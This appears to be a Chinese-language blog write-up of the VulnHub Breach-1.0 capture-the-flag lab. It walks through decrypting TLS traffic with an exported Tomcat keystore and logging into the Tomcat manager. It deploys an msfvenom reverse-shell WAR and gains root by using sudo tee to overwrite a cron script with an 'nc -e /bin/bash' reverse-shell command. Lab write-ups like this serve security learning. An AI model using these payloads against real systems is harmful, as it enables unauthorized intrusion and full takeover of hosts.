靶机下载
https://www.vulnhub.com/ 找Breach-1.0,不过这个是老靶机了,可以看网上其他博客附带有靶机下载的网盘链接,靶机官网访问很慢而且网站好像出问题了排版很乱,不打也罢。
readme.txt:
First in a multi-part series, Breach 1.0 is meant to be beginner to intermediate boot2root/CTF challenge. Solving will take a combination of solid information gathering and persistence. Leave no stone unturned.
The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.
Many thanks to knightmare and rastamouse for testing and providing feedback.
Shout-out to g0tmi1k for maintaining #vulnhub and hosting my first challenge.
If you run into any issues, you can find me on Twitter: https://twitter.com/mrb3n813 or on IRC in #vulnhub.
Looking forward to the write-ups, especially any unintended paths to local/root.
所以要把仅主机的网卡网段暂时改成192.168.110.0/24,这里我kali也用仅主机网卡了,虽然nat也可以ping通靶机。。。
下载靶机后用VMware打开配置好网卡就开打
信息搜集
靶机ip已经知道了,直接nmap扫
这一扫发现它开了六万多个端口啊,那肯定是不正常的了,可能是ips或者蜜罐之类的干扰我们信息搜集。
渗透
80端口
既然扫不了,那就直接访问靶机主页看看
主页讲了一点剧情
Initech遭到破坏,董事会投票决定引入其内部的Initech网络咨询有限责任合伙人部门提供协助。鉴于此次违规行为的高调性质和近乎灾难性的损失,随后有许多针对该公司的尝试。Initech已经委托他们的顶级顾问,由Bill Lumbergh,CISSP和Peter Gibbons,C| EH、SEC+、NET+、A+包含并分析违规行为。
该公司几乎没有意识到,这次入侵并不是熟练的黑客所为,而是一位心怀不满的前员工在离职时送给他的离别礼物。TOP顾问一直在努力控制漏洞。 然而,他们自己的职业道德和留下的烂摊子可能是公司的垮台。
不管那么多直接查看源代码
发现一个链接,一串加密字符串
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
访问该链接
点击Employee portal,第一个选项是返回刚刚的主页,其他选项都是图片
点击Employee portal进入impresscms的登录界面。靶机比较老,kali搜索impresscms的漏洞都用不上。那该如何进行,下一步?这时想起刚刚复制的加密字符串,把它base64解密两次后得到
pgibbons:damnitfeel$goodtobeagang$ta
。这个貌似是账号密码,用pgibbons这个账号和damnitfeel$goodtobeagang$ta这个密码登录成功,发现该用户的邮箱是peter.gibbons@initech.com
接下来搜集信息,各种地方都点一下,在view account界面的Content按钮下发现一个链接跳转
点击链接跳到一个类似邮件的地方,文中有有一个pacp文件可以下载,还有什么什么的密码是tomcat。
记下这个密码,下载pacp文件。wireshark打开
翻一下发现关键流量都被加密了,用的是https协议传输数据的。那先回到网站上继续搜集信息
在inbox那里有三条信息。第二条说Michael买了一个IDS/IPS系统,这可能是之前扫端口扫出异常多端口开放的原因,靶机可能部署了防御系统。
第三条有个链接192.168.110.140/.keystore访问后得到一个.keystore文件,第一次见到这种文件,上网搜一下如何打开,ok搜到打开方式:
keytool -list -v -keystore keystore文件的路径 -storepass keystore密的码
keytool一般你配了java的环境变量都可以直接用了
keytool -list -v -keystore .\pentest.keystore -storepass tomcat
我把文件重命名为pentest.keystore,用命令解密,密码的话之前看到一个tomcat,就用它当密码试试看,结果真的是这个,解密成功
虽然读取了文件内容,但是好像没啥有用的东西啊。接下来是一个我没见过的知识点,看别的大佬的打法才知道的,虽然是老靶机但是有些知识现在还有用。
.p12后缀的文件采用 PKCS#12(Public-Key Cryptography Standards #12)格式,这是一种常见的用于存储加密信息的标准文件格式,也被称为 PFX 文件(在 Windows 系统中常见的扩展名)。它可以将服务器的私钥、公钥证书以及相关的证书链等信息封装在一个文件中,方便管理和传输。
用途
服务器部署:在 Tomcat 等 Web 服务器中,tomcat.p12 文件可用于配置 HTTPS 连接。服务器使用其中的私钥对客户端发送的数据进行解密,使用公钥证书向客户端证明自己的身份。
证书交换:由于它将私钥和证书整合在一起,方便在不同的系统或应用之间交换证书信息,例如从一个服务器迁移到另一个服务器时,可以直接使用 .p12 文件进行配置。
首先要解密TLS流量肯定要拿到私钥,那么其实可以将.keystore文件导出一个p12文件
得到后进入wireshark打开刚刚的pacp文件,点击左上角编辑-->首选项-->展开“Protocols”找到TLS
点击edit,点左下角加号配置解密条件,
为什么端口不是443呢,从流量中可以看到tomcat的https端口走的是8443
然后点击确定,确定,发现TLS流量被解密成http协议的流量了,然后选中http协议的一条流量右键追踪流,选择http stream即可追踪http请求记录
我们翻看这些流量信息,发现一个关键点Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC。
另外还有192.168.110.140:8443/_M@nag3Me/html和192.168.110.140:8443/cmd/cmd.jsp?cmd=id两个地址。后者有命令执行接口.
解密dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC得到tomcat:Tt\5D8F(#!*u=G)4m7zB,应该是/_M@nag3Me/html的认证所需信息。
访问https://192.168.110.140:8443/_M@nag3Me/html,注意不是http协议啊,因为它本来就是用https的,只是流量被我们解密了而已。
访问发现报错。
挂burp后再访问
这又是新知识
正常访问场景下的证书问题
在正常情况下,浏览器在与服务器建立 HTTPS 连接时,会对服务器的证书进行严格验证。如果服务器使用的是自签名证书或者证书链不完整、过期、域名不匹配等,浏览器会认为该证书不可信,从而阻止连接,出现安全警告或连接失败的提示。
挂上 Burp Suite 代理后的情况
- Burp Suite 作为中间人
Burp Suite 充当了客户端(浏览器)和服务器之间的中间人。当浏览器设置了 Burp Suite 的代理后,浏览器发出的所有请求都会先到达 Burp Suite,由 Burp Suite 再转发给服务器;服务器的响应也会先经过 Burp Suite,再返回给浏览器。
2. 证书替换机制
- 生成新证书:Burp Suite 会拦截浏览器与服务器之间的 SSL/TLS 握手过程。当它接收到服务器的证书后,会根据服务器证书的信息(如域名、有效期等)生成一个新的、由 Burp Suite 自己的根证书签名的证书。这个新证书包含了与服务器证书相同的关键信息,但由 Burp Suite 控制的根证书签名。
- 浏览器验证:由于你已经在浏览器中导入了 Burp Suite 的根证书,浏览器会信任由该根证书签名的所有证书。因此,当 Burp Suite 将生成的新证书发送给浏览器时,浏览器会认为这个证书是可信的,从而顺利完成 SSL/TLS 握手,建立安全连接。
- 数据转发与解密
- 解密与加密:Burp Suite 可以对经过它的加密流量进行解密和重新加密。它使用生成的新证书与浏览器建立安全连接,同时使用服务器的原始证书与服务器建立另一个安全连接。这样,Burp Suite 就可以在中间查看、修改和分析客户端与服务器之间传输的数据。
ok访问成功进入tomcat6后台管理界面,点了一些地方发现好像只有部署应用这条路走得通,可以通过部署一个木马war包反弹连接到kali。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war -o reverse.war
为什么不用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=4444 -f war -o kali.war呢,其实我是试过了但是报错找不到什么什么类,返回500状态码,上网搜索发现可能是kali版本新生成的马tomcat6不兼容.我kali自带jdk是高版本的,靶机的是低版本。
然后kali用msf设置一个监听
再生成war包传到物理机,部署到tomcat后台。
部署完后立刻访问,不然过一会会被删掉。
反弹成功
可以看到木马现在还是在靶机相关路径下面的
这里因为是复现就不一步步找了,反正最后在/var/www/5446目录下发现两个php文件。cat查看,发现mysql登录不用密码
使用mysql这个库,查看表,发现user表,查找用户名密码
发现milton 6450d89bd3aff1d893b85d3ad65d2ec2
这可能是靶机上某个用户。cat /etc/passwd查看,还真是。
6450d89bd3aff1d893b85d3ad65d2ec2这串字符大概是md5,拿去网上碰撞得到thelaststraw
切换用户,到主目录下发现一个shell脚本,cat查看发现啥都没有
本来想看sudo -l的,但是返回Sorry, user milton may not run sudo on Breach.看来没有权限执行sudo命令,刚刚/etc/passwd发现还有一个用户blumbergh,那这个用户的密码是多少呢,这里也是看答案才知道的,因为涉及到杂项了,我是没想到的,我只考虑了web方面。
之前那个靶机主界面点击那个大叔的图片后,再点Cake可以看一个图片
图片在/images目录下,访问这个目录发现有其他图片,其中密码隐藏在bill.png中。
wget http://192.168.110.140/images/bill.png下载到kali,strings命令提取图片中隐藏的字符
密码就是倒数第二行那串。用这个切换到blumbergh用户
sudo -l发现有可以用sudo执行的命令
查看那个tidyup.sh内容如下
#!/bin/bash
#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
这个脚本的作用就是定时清理我们在tomcat后台部署的应用,这也是为什么部署木马后要尽快访问,不然被清了弹不到shell。
现在思路是把这个文件内容改成一个反弹shell的命令,弹到kali上,获得root的shell。
我们发现还有一个命令/usr/bin/tee。查看菜鸟教程:
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
tee [-ai][--help][--version][文件...]
参数:
- -a或--append 附加到既有文件的后面,而非覆盖它.
- -i或--ignore-interrupts 忽略中断信号。
- --help 在线帮助。
- --version 显示版本信息。
实例
使用指令"tee"将用户输入的数据同时保存到文件"file1"和"file2"中,输入如下命令:
$ tee file1 file2 #在两个文件中复制内容
以上命令执行后,将提示用户输入需要保存到文件的数据,如下所示:
My Linux #提示用户输入数据
My Linux #输出数据,进行输出反馈
此时,可以分别打开文件"file1"和"file2",查看其内容是否均是"My Linux"即可判断指令"tee"是否执行成功。
所以我们需要用该命令修改那个自动执行的脚本内容为反弹连接的命令。
先生成一个文件:echo "nc -e /bin/bash 192.168.110.128 9999">1.txt
接着cat 1.txt|sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,检查是否写入成功
可以看到写入成功,另起一个终端监听9999,该脚本是每3分钟执行一次所以最多等三分钟就会有连接过来
ok来了,查看用户是root,列出当前目录所有文件,发现flag。拿到flag就算渗透过关
总结
这个靶机没见过的知识有3个:.keystore文件的查看和导出为p12文件以及如何使用wireshark解密流量,还有用burp绕过证书不信任问题。感觉图片拿密码那个步骤有点ctf化了,没点脑洞还真不知道这样搞。还有就是信息搜集真的要点耐心,比如拿/var/www/5446这个目录其实也不容易想到,一般都是看/var/www/html的。